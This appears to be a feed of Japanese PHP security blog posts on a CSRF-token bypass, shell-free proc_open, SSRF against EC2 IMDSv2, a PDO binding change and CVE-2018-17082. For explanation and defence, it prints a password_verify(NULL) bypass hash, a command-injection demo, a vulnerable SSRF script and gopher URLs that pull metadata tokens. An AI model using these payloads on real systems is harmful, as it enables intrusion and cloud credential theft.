また、mt_rand関数を引きなしで呼び出すと、0からmt_getrandmax()の戻り値までの値を返しますが、mt_getrandmax()は64ビット環境でも2147483647なので、31ビットの範囲になります。これはトークンに用いる乱数のエントロピーとしては不足しています。
さらに、password_hash関数はパスワードの保護を強化するためにストレッチング(ハッシュ計算を繰り返すこと)を施していますが、そのために、password_hashおよびpassword_verify関数は非常に低速です。CSRF対策のために、わざわざ処理を遅くする必要はありません。

実装上の問題

紹介したプログラムには実装上の問題もあります。使われているトークンはワンタイムのものであり、使用済みになるとunsetされます。すなわち、トークンがNULLとなる時期が存在します。そのタイミングを狙った攻撃ができるのです。
すなわち、以下の関数呼び出しがtrueになるような$tokenを渡せばよいことになりますが…
password_verify(NULL, $token)
実は、password_verifyの第一引数にNULLを渡すと、空文字列を渡したのと同じ結果になります。なので、空文字列に対するpassword_hash関数の結果を使って、攻撃が可能です。空文字列に対するハッシュ値はソルトにより無数に存在しますが、たとえば以下で攻撃ができます。
$2y$10$V3V9iX2iR6ZqaNuFAyUlPeiIvmQrGKDbrJQWdkXWVECGUodZON0Iu
検証例を示します。
<?php
var_dump(password_verify(null, '$2y$10$V3V9iX2iR6ZqaNuFAyUlPeiIvmQrGKDbrJQWdkXWVECGUodZON0Iu'));

// bool(true) が表示される
これは、前述した「余計なことをやればやるほど、バグの原因になり、ひいては脆弱性の原因にな」った例といえます。

まとめ

PHPサーバーサイドプログラミングパーフェクトマスターにおけるCSRF対策の問題を報告しました。実務上でCSRF対策をする場合は、アプリケーションフレームワークの機能を使うか、よく検証されたライブラリを使うべきですが、特別な事情があって独自実装する場合には、定石的な手法を用い、かつできるだけ簡素な、検証のしやすい実装にすべきと考えます。
また、password_hash関数をトークン生成に用いる例が、同書に限らず散見されますが、これは百害あって一利なしですので、トークン生成には単にCSPRNGを使うと覚えておきましょう。



シェルを経由しないOSコマンド呼び出しがPHP7.4で実装された

$
0
0
この記事はPHP Advent Calendar 2019の5日目の記事です。

はじめに

私は6年前に、PHP Advent Calendar 2013として「PHPだってシェル経由でないコマンド呼び出し機能が欲しい」という記事を書きました。その中で、OSコマンドインジェクション対策の根本的かつ安全な対策は「シェルを経由しないコマンド呼び出し」であることを指摘した上で、末尾に以下のように書きました。
PHPコミッタのみなさま、PHP5.6の新機能として、シェルを経由しないコマンド呼び出しの機能を追加できませんか?
現実には当時からPCNTL関数にてシェルを経由しないコマンド呼び出しはできたのですが、当関数の使用が難しいことと、CLI版あるいはCGI版(FastCGIは可)のPHPでないとサポートされていないなどの制限があり、popenやproc_openなど使いやすいコマンド呼び出し関数において、シェル呼び出しのないコマンド実行機能が欲しいところでした。

この「私の願い」はPHP 5.6では実現しませんでしたが、PHP 7.4においてproc_open関数の拡張として実現しました。実に6年越しの実現ということになります。

proc_openの従来の問題点

proc_openに限りませんが、PHPの従来のコマンド実行機能(PCNTL関数は例外)の問題として、「常にシェル経由でコマンドを呼び出す」ことがあります。これを確認するための簡単なサンプルを示します。以下は、ps -fコマンドをproc_open関数で呼び出しています。
<?php
$cmd = "ps -f";
$process = proc_open($cmd, [], $pipes);
if (is_resource($process)) {
$return_value = proc_close($process);
echo "command returned $return_value\n";
}
呼び出し例は下記となります。赤字で示しているように、シェル(/bin/sh)経由でpsコマンドが実行されています。
UID        PID  PPID  C STIME TTY          TIME CMD
ockeghem 16921 16920 0 16:31 pts/0 00:00:00 -bash
ockeghem 18858 16921 0 17:18 pts/0 00:00:00 php-7.4.0 proc_open4.php
ockeghem 18859 18858 0 17:18 pts/0 00:00:00 sh -c ps -f
ockeghem 18860 18859 0 17:18 pts/0 00:00:00 ps -f
command returned 0
このため、コマンドラインにセミコロンなどにより追加のコマンドを実行できる可能性があり、OSコマンドインジェクション脆弱性の原因になっていました。ここで、psのオプションとして、-fの代わりに、「-f; echo Hello」を指定してみましょう。
<?php
$cmd = "ps -f; echo Hello";
$process = proc_open($cmd, [], $pipes);
// 以下省略
呼び出し例は下記となります。sh -c のパラメータとして; echo Helloが追加されていることと、echoコマンドの実行結果としてHelloが表示されていることがわかります。これがOSコマンドインジェクションの原理です。
UID        PID  PPID  C STIME TTY          TIME CMD
ockeghem 16921 16920 0 16:31 pts/0 00:00:00 -bash
ockeghem 18932 16921 0 17:30 pts/0 00:00:00 php-7.4.0 proc_open4.php
ockeghem 18933 18932 0 17:30 pts/0 00:00:00 sh -c ps -f; echo Hello
ockeghem 18934 18933 0 17:30 pts/0 00:00:00 ps -f
Hello
command returned 0
この対策として、コマンドラインのパラメータをエスケープ処理する方法もありますが、エスケープ処理自体が複雑になる可能性があり、実際にPHPのescapeshellcmd関数には脆弱性(こちらを参照)があるため使用を避けるべき状態でした。

proc_openのPHP 7.4での新しい呼び出し方

この状況に対して、PHP 7.4では、proc_openの第1引数を配列として指定することにより、コマンドとパラメータを明確に分離するとともに、シェルを経由しないコマンド実行ができるようになりました(パチパチパチ)。
先のスクリプトをこの形式で書き換えてみましょう。
<?php
$cmd = ["ps", "-f"];
$process = proc_open($cmd, [], $pipes);
if (is_resource($process)) {
$return_value = proc_close($process);
echo "command returned $return_value\n";
}
実行例は以下となります。シェルを経由せずに直接コマンドが実行されていることがわかります。
UID        PID  PPID  C STIME TTY          TIME CMD
ockeghem 16921 16920 0 16:31 pts/0 00:00:00 -bash
ockeghem 18895 16921 0 17:27 pts/0 00:00:00 php-7.4.0 proc_open4.php
ockeghem 18896 18895 0 17:27 pts/0 00:00:00 ps -f
command returned 0
続いて、先程同様に、-f オプションの代わりに -f; echo Hello を指定してみましょう。
<?php
$cmd = ["ps", "-f; echo Hello"];
$process = proc_open($cmd, [], $pipes);
// 以下略
実行結果は以下のとおりです。psコマンドにオプションとして「-f; echo Hello」が渡されたため、「unsupported SysV option」というエラーになっていますが、OSコマンドインジェクションにはならないことがわかります。
error: unsupported SysV option

Usage:
ps [options]

Try 'ps --help <simple all="" list="" misc="" output="" threads="">'
or 'ps --help <s a="" l="" m="" o="" t="">'
for additional help text.

For more details see ps(1).
command returned 1
この呼出方法(proc_openの第一引数を配列で指定)の場合、シェルを経由しないでコマンドを呼び出すことから、原理的にOSコマンドインジェクション脆弱性を避けることができます。今後PHP 7.4以降にて外部コマンドを呼び出す場合は常に、proc_open関数にて第1引数を配列で指定し、かつ配列の先頭要素(コマンド名)は固定とすることで、OSコマンドインジェクションを避けつつ簡便かつ安全な実装が可能になります。

まとめ

PHP 7.4にて新たに追加されたproc_openの新しい呼び出し方を紹介しました。私個人としても、6年越しの要望がかなえられた結果となり、よいクリスマスを迎えられそうです。

SSRF対策としてAmazonから発表されたIMDSv2の効果と限界

$
0
0

サマリ

Capital OneからのSSRF攻撃による大規模な情報漏えい等をうけて、Amazonはインスタンスメタデータに対する保護策としてInstance Metadata Service (IMDSv2) を発表した。本稿では、IMDSv2が生まれた背景、使い方、効果、限界を説明した上で、SSRF対策におけるIMDSv2の位置づけについて説明する。

SSRFとは

SSRF(Server Side Request Forgery)の詳細については過去記事「SSRF(Server Side Request Forgery)徹底入門」を参照ください。SSRFは、下図のように「外部から直接アクセスできないエンドポイント」に対して、公開サーバーなどを踏み台としてアクセスする攻撃方法です。
最終的な攻撃目標は多様ですが、近年問題になっているのが、クラウドサービスのインスタンス・メタデータを取得するAPIのエンドポイントです。有名なものがAmazon EC2の169.254.169.254(IMDS)ですが、類似の機能をクラウドサービス各社が提供しています。
先の記事でも紹介したSSRF脆弱なサンプルを以下に示します。これは、はてなブックマークのようなソーシャルブックマークアプリの「プレビュー機能」を想定しています。
<?php
require_once('./htmlpurifier/library/HTMLPurifier.includes.php');
$purifier = new HTMLPurifier();

$ch = curl_init();
$url = $_GET['url'];
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$html = curl_exec($ch);
echo $purifier->purify($html);
このスクリプトをAmazon EC2上においてSSRF攻撃すると、下図のようにIAMのクレデンシャルが表示されます。


 SSRF攻撃が一般の方にも話題になったのはCapital Oneからの1億人超の個人情報流出事件で、詳しくは以下の記事にまとめられています。
 また、SSRF攻撃の標準的な対策は、ネットワーク的な対策で、EC2の場合は以下のようなiptablesによる防御が従来から推奨されていました。
sudo iptables --insert FORWARD 1 --in-interface docker+ --destination 169.254.169.254/32 --jump DROP

Amazon ECS コンテナインスタンスの IAM ロール - Amazon Elastic Container Service より引用
ここまでが長い前置き(前提知識の確認)です。

EC2インスタンスメタデータサービスv2(IMDSv2)とは

この状況に対して、Amazonが批判されたり、Amazonの責任ではないという反論があったりしていましたが、Amazonは今年の11月20日オフィシャルブログにて、Instance Metadata Service (IMDSv2) を発表しました。以下は、クラスメソッドの臼田さんのブログ記事から要点の引用です。
  • v2へのアクセスには事前に取得したTokenを必須とする
    • TokenはPUTで取得する必要がある
    • Tokenリクエスト時に有効期限(秒)を設定できる
    • Tokenはヘッダに入れてリクエストする必要がある
  • v1を無効化できる(デフォルトでは併用可能)
  • メタデータサービス自体を無効化できる
IMDSv2によるメタデータ取得は以下のようになります。まずは、トークンの取得
$ curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60"
AQAAAKunSEcqfWQgz1E-ryJ3fdWDoOkbn8Nn4h2C6qN6nP56npog8Q==$
赤字のBASE64っぽいものがトークンです。TTLを60秒としているので、この値は既に無効です。PUTメソッドとX-aws-ec2-metadata-token-ttl-secondsヘッダを要求することで、攻撃難易度を上げています。
続いて、トークンを利用したメタデータの取得です。X-aws-ec2-metadata-tokenヘッダにより、先程取得したトークンを指定します。
$ curl -H "X-aws-ec2-metadata-token: AQAAAKunSEcqfWQgz1E-ryJ3fdWDoOkbn8Nn4h2C6qN6nP56npog8Q==" http://169.254.169.254/latest/meta-data/iam/info/
{
"Code" : "Success",
"LastUpdated" : "2019-12-08T02:32:19Z",
"InstanceProfileArn" : "arn:aws:iam::999999999999:instance-profile/test-role",
"InstanceProfileId" : "ZZZZZZZZZZZZZZZZZZZZZ"
}$
これだけだと、IMDSv1が有効になっているのでSSRF攻撃は緩和されません。IMDSv1を無効化するには、AWSCLIから以下のように --http-tokens を required に設定します。
$ aws ec2 modify-instance-metadata-options --instance-id i-FFFFFFFFFFFFFFF --http-tokens required --http-endpoint enabled
{
"InstanceId": "i-FFFFFFFFFFFFFFFFF",
"InstanceMetadataOptions": {
"State": "pending",
"HttpTokens": "required",
"HttpPutResponseHopLimit": 1,
"HttpEndpoint": "enabled"
}
}
$
この状態で先の攻撃をすると、以下のように攻撃は防御されます。


SSRF攻撃の文脈でPUTメソッドやカスタムHTTPリクエストヘッダを指定することは難しそうなので、「これだけでSSRF対策は十分ではないか」と思う人もいそうですが、実は攻撃は可能です。

Gopherプロトコルとは

以前からSSRF界隈ではGopherプロトコルの活用が話題となっていて、はせがわようすけさんが分かりやすいスライドで紹介されています。
このスライドの12ページからがGopherを用いた攻撃手法についての説明です…が、このスライドは今年の9月18日の講演のものですので、当時存在しなかったIMDSv2についての言及はありません。このため、はせがわさんのスライドを引き継ぐ形で、GopherによるIMDSv2への攻撃を紹介します。

まず、Gopher自体の紹介はこちらの記事などを参照していただくとして、ここではcurlとnetcatによりgopherプロトコルを簡単に試してみます。

まずはcurlコマンドにより以下のURLをアクセスしてみます。
$ curl gopher://localhost:8888/_Hello%0d%0aHiroshi%20Tokumaru%0d%0a
curlコマンド実行前にnetcatで8888ポートを待ち受けていると、以下のような表示になります。
$ nc -l 8888
Hello
Hiroshi Tokumaru

Response ← この行はResponse 改行 Ctrl-d を手入力したもの
$
この際の呼び出し側は下記となります。
$ curl gopher://localhost:8888/_Hello%0d%0aHiroshi%20Tokumaru%0d%0a
Response
$
このように、Gopherプロトコルを使うと、任意リクエストをURLで指定でき、そのレスポンスを受け取れることから、HTTPやSMTPその他のプロトコルをエミュレートできることになります。

Gopherプロトコルを用いたIMDSv2に対する攻撃

先程のサンプルプログラムをEC2のIMDSv1を無効化した環境に設置した状態で、Gopherプロトコルを用いて攻撃してみましょう。まずはPUTメソッドによるトークン取り出しです。表示が見やすいようにHTMLソースの形で表示しています。アドレスバーには gopher://169.254.169.254:80/_PUT というURLがちらっと見えていますね。


このトークン(有効時間は60秒…もっと長くすることも可能)を用いて、メタデータを表示させた結果が下記です。

このように、IMDSv1を無効化してIMDSv2のみ有効としても、Gopherプロトコルを用いてSSRF攻撃ができました。

リダイレクトを許可している場合

今までの「脆弱なスクリプト」は、与えられたURLに対してスキーム(プロトコル)もホストのIPアドレスもチェックしていなかったので、これらのチェックを追加してみましょう。これだけだと防御できて当然なので、cURLのオプションとしてCURLOPT_FOLLOWLOCATIONをtrueにします。これは、リダイレクトをcURL内部で自動的に追跡するという意味です。
<?php
require_once('./htmlpurifier/library/HTMLPurifier.includes.php');
$purifier = new HTMLPurifier();

$ch = curl_init();
$url = $_GET['url'];
$urlinfo = parse_url($url); // URLのパース
$scheme = $urlinfo['scheme'];
$host = $urlinfo['host'];
$ip = gethostbyname($host);
if ($ip === "169.254.169.254") { // IPアドレスのチェック
die("Invalid host");
} elseif ($scheme !== 'http'&& $scheme !== 'https') { // スキームのチェック
die("Invalid scheme");
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // リダイレクトを自動追跡
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$html = curl_exec($ch);
echo $purifier->purify($html);
このスクリプトに対して、リダイレクトを用いた攻撃をします。具体的には下記のスクリプト(リダイレクタ)のURLをサンプルスクリプトに指定します。
<?php
header('Location: gopher://169.254.169.254:80/_PUT%20/latest/api/token...以下悪用防止のため略
実行結果は以下となり、トークンを取得できていることがわかります。


同様に、このトークンを使用してEC2インスタンスのメタデータを取得することができます。

※ はせがわさんのスライドでは、この攻撃にはスクリプト側で明示的に任意プロトコルへのリダイレクトが許可されている必要があるように読めます(P23)が、私が実験により確認した範囲では、任意プロトコルの明示的な許可は必要ないようです。

対策

上記攻撃には以下の対策候補が考えられます。
  • curlで扱うプロトコルをHTTPおよびHTTPSに限定(常に指定を推奨)
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
  • リダイレクトの追跡を禁止する(curlのデフォルトに戻す、あるいは以下を設定)
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);  // リダイレクト追跡しない
  • CURLINFO_PRIMARY_IPにより「実際にアクセスしたIPアドレス」を求め、169.254.169.254(等ブラックリストのIPアドレス)であれば表示をやめる
$primary_ip = curl_getinfo($ch, CURLINFO_PRIMARY_IP);
  • URLからホスト名に対応するIPアドレスとスキームを確認する(先のスクリプトでは実施済み)

結局どうすればよいか

IMDSv2はそもそもAmazonからもインスタンスメタデータに対する defense in depth (多層防御)と紹介されており、根本的な解決策ではありません。なので、他の根本的な解決策を実施した上で、予防的な対策(緩和策)として用いるべきです。
では、根本的な解決策はなにかというと、インスタンスメタデータの保護という点では、先に紹介したiptables等を用いたネットワーク的な対策が確実です。あるいは、以下により、HTTPによるインスタンスメタデータ参照そのものを禁止することも有効です。
$aws ec2 modify-instance-metadata-options --instance-id i-FFFFFFFFFFFFFFFF --http-endpoint disabled
{
"InstanceId": "i-FFFFFFFFFFFFFFFFF",
"InstanceMetadataOptions": {
"State": "pending",
"HttpTokens": "required",
"HttpPutResponseHopLimit": 1,
"HttpEndpoint": "disabled"
}
}
ただし、上記はインスタンスメタデータに対する保護であり、SSRF攻撃全般を防御できるわけではないため、他に守るべきエンドポイントがある場合には他の対策を併用する必要があります。

まとめ

Instance Metadata Service (IMDSv2) について紹介しました。IMDSv2を用いることにより、SSRF攻撃をかなり緩和されることが期待できるものの、根本的な解決策ではなく緩和策の一つとして用いるべきと考えます。これは、Amazon自体がIMDSv2をdefense in depth(多層防御)とうたっていることからも伺えます。
また、SSRF攻撃の対策は難易度が高いため、可能であればSSRF攻撃の影響を受けない仕様(例えば外部から受け取ったURLにアクセスしない)の検討を推奨します。

PHP 7.2以降におけるPDO::PARAM_INTの仕様変更

$
0
0

サマリ

PHP 7.2以降、PDOの内部実装が変更された。動的プレースホルダ(エミュレーションOFF)にてバインド時にPDO::PARAM_INTを指定した場合、PHP 7.1までは文字列型としてバインドされていたが、PHP 7.2以降では整数型としてバインドされる。
この変更により、従来PDOが内包していた「暗黙の型変換」は解消される一方、integerへの暗黙のキャストにより、整数の最大値を超えた場合に不具合が発生する可能性がある。

この記事を読むのに必要な前提知識

この記事は、以前の記事(下記)の続編のような形になっています。

PDOのサンプルで数値をバインドする際にintにキャストしている理由

この記事では、PDOを用いたサンプルスクリプトでbindValue時にinteger型へのキャストを明示している理由を説明しています。パラメータを文字列として渡した場合、PDO::PARAM_INTにより整数型を指定しても、SQL文生成時に文字列リテラルとしてバインドされるため、「暗黙の型変換」により意図しない動作がおこり得ます。それを避けるために、値をintegerにキャストすることにより、SQL文には数値リテラルとして生成され、暗黙の型変換による不具合を避けることができます。一方、integer型へのキャストすると、整数の範囲を超えた場合にオーバーフローが起こる危険性があり、一長一短ではあります。

PHP 7.2での変更内容

PHP 7.2以降では、bindParamあるいはbindValue時にPDO::PARAM_INTを指定した場合、値はPHPのint型にキャストされます。ここで注意すべきことは、MySQLのINTではなく、PHPのinteger型にキャストされるため、32ビット環境では32ビット符号付き整数、64ビット環境では64ビット符号付き整数にキャストされ、その範囲を超えた場合はintegerの最小値あるいは最大値に変更されることです。

検証

検証のために、先のブログ記事と同じデータを用意します(再掲)。
CREATE TABLE xdecimal (id DECIMAL(20));   -- DECIMAL(20)は10進20桁の数値型
INSERT INTO xdecimal VALUES (18015376320243459);
INSERT INTO xdecimal VALUES (18015376320243460);
INSERT INTO xdecimal VALUES (18015376320243461);
PHPサンプルは下記のとおりですが、暗黙の型変換を起こすために、WHERE句で + 0を追加しています。
<?php
$db = new PDO("mysql:host=127.0.0.1;dbname=test;charset=utf8", DBUSER, DBPASSWD);
$ps = $db->prepare("SELECT id FROM xdecimal WHERE id = :id + 0");
$id = '18015376320243461';
$ps->bindValue(':id', $id, PDO::PARAM_INT); // intへのキャストはしない
$ps->execute();
$row = $ps->fetch();
echo "$id->${row[0]}\n";
PHP 7.1.33で実行結果(32ビット環境、64ビット環境とも)
【実行結果】18015376320243461 -> 18015376320243459
【実行されるSQL文】SELECT id FROM xdecimal WHERE id = '18015376320243461' + 0

PHP 7.2.0での実行結果(64ビット環境)
【実行結果】18015376320243461 -> 18015376320243461
【実行されるSQL文】SELECT id FROM xdecimal WHERE id = 18015376320243461 + 0

PHP 7.2.0での実行結果(32ビット環境)
【実行結果】18015376320243461 ->
【実行されるSQL文】SELECT id FROM xdecimal WHERE id = 2147483647 + 0

端的な違いは、リテラルがシングルクォートで囲まれているか否か、すなわち、文字列リテラルか数値リテラルかです。PHP 7.2以降ではの変更、バインド時にPDO::PARAM_INTを指定した場合にバインド値が数値リテラルとして生成され、これはSQLの文法として本来の姿になったと考えます。これによる現実的なメリットは、文字列リテラルを数値に変換する際の「暗黙の型変換」が避けられ、正確な数値比較や演算が行えるようになったことです。

この変更による悪影響

PDO::PARAM_INT指定時に、値がいったんPHPのintegerにキャストされることから、integerの上下限を超えた値を指定した場合、強制的にPHP_INT_MAXまたはPHP_INT_MINに値が変更されます。具体例は、前述の「PHP 7.2.0での実行結果(32ビット環境)」を参照ください。integerの取りうる値の範囲は環境依存ですが、現在一般的な環境では以下のようになる場合が多いと思います。

32ビット環境: -2147483648 ~ 2147483647
64ビット環境: -9223372036854775808 ~ 9223372036854775807

PDOはどのように使えばよいか

今どき32ビット版のPHPを本番環境で使っている(かつPHP 7.2以降が動いている)環境はあまりないかもしれませんが、64ビット版であっても、数値の範囲について注意が必要です。PHP_INT_MAXを超える可能性がある値について、PDOはDecimal型のような型を指定する方法がないため、以下のように明示的なキャストを指定する方法などが考えられます。
$ps = $db->prepare("SELECT id FROM xdecimal WHERE id = CAST(:id AS DECIMAL(20))"); // 明示的な型変換
$ps->bindValue(':id', $id, PDO::PARAM_STR); // いったん文字列型でバインドして、CASTで明示的に型変換

まとめ

PHP 7.2におけるPDOの実装変更について紹介しました。この変更はドキュメント化されていないようで、かつ、PHP Internalsメーリングリストでも話題になっていないようです。もしドキュメント等を知っている方がおられたら教えてください。
この変更は非互換かつドキュメント化されていないものであるので、ひょっとすると手違いなどで変更された可能性もあると思っています。

PHPの脆弱性CVE-2018-17082はApacheの脆弱性CVE-2015-3183を修正したら発現するようになったというお話

$
0
0
最近自宅引きこもりで時間ができたので、YouTube動画を投稿するようになりました。みんな見てねー。

徳丸浩のウェブセキュリティ講座

そんなことで、次の動画は、お気に入りのPHPの脆弱性 CVE-2018-17082 を取り上げようと思ったんですよ。表向きXSSで出ているけど、金床さんのツッコミにもあるように、実はHTTP Request Smuggling(HRS)だというやつです。でね、下準備であらためて調べていると、なんかよく分からない挙動がワラワラと出てくる。なんじゃ、こりゃ。CVE-2018-17082 全然分からない。僕は気分で CVE-2018-17082 を扱っている…

で、雑に整理すると、以下のような感じなんです。
  • 古い環境だとCVE-2018-17082は発現しない(2015年以前)
  • 少し古い環境だとCVE-2018-17082は発現する
  • 新しい環境だとCVE-2018-17082は発現しない(2019年以降 …これは当たり前)
これ自体はよくあることです。古いバージョンには脆弱性がなく、途中のバージョンで作り込まれたってことね。でもね、CVE-2018-17082はPHP 5.0.0にもあるんですよ。PHP 5.0.0が出たのは2004年ですからね。これだと辻褄が合わない。

試しに、自宅の環境のmodphpallを使ってPHP 5.0.0でCVE-2018-17082を試すとちゃんと発現するわけですよ。PHPのバージョンは関係ない。

で、次に、自宅の環境のCentOS/Debian/Ubuntuの各バージョン(パッチがまったくあたってないものとすべてのパッチがあたっているもの…LinuxAllという大げさな名前にしているのはくれぐれも内緒だ)で試すと、先の現象になるわけです。あまり古いと脆弱性のあるPHPバージョンなのに発現しない。CentOS6と7なんかひどくて、パッチのあたってない環境だと発現しないのに、すべてのパッチがあたっていると逆に発現する。
でも、ここにヒントがあると思ったわけですね。なぜって、CentOSはそもそもCVE-2018-17082のパッチは出してないわけですよ。ならば、PHP以外に影響があるに違いない。ひょっとすると、Apacheのバージョンが影響しているのかも。考えてみれば、そうだよね。だってCVE-2018-17082は、PHPのApache2handlerの脆弱性だから、相方のApacheの実装に影響を受ける可能性は十分にある。

なので、今度はApache 2.2と2.4のすべてのバージョンを導入した試験環境(1.3や2.0がないのにApacheAllという大げさな名前なのは内緒)で試したわけですよ。さいわい、リファレンス用としてPHP 5.3.3が入れてあるので、脆弱性が動くはずです。
でためしたら、やはり古いApacheだとCVE-2018-17082は発現しなくて、以下のバージョンだと発現する。
  • Apache 2.2.31以降
  • Apache 2.4.16以降
で、Apache 2.2.31で修正された脆弱性はなんだろう…と思って調べると、以下ですよ(これだけ)。

low: HTTP request smuggling attack against chunked request parser (CVE-2015-3183)

思わず息を呑みました(誇張じゃないよ)。出た、HRS。これだ。これに違いない。
ちなみに、CVE-2015-3183に対する修正はこちらでして、コミットメッセージに「Limit accepted chunk-size to 2^63-1 and be strict about chunk-ext」とあるように、巨大なチャンクサイズへの対応でしょうね。
でもね、皮肉な話じゃないですか。Apacheのあまり攻撃現実性がない脆弱性に対する修正の影響で、潜在的なPHPの脆弱性が顕在化して、こっちの方がはるかに攻撃の現実性があるわけですよ。別にApacheが悪い訳ではないですけどね。皮肉なもんだなーと思ったわけです。

ということで、全てが綺麗に説明がついたので、安心して動画制作に戻ろうと思います。
このように、私の動画は見えないところに手間をかけて制作していますんで、みんな見てくださいねー、よろしく!

徳丸浩のウェブセキュリティ講座
Viewing all 194 articles
Browse latest View live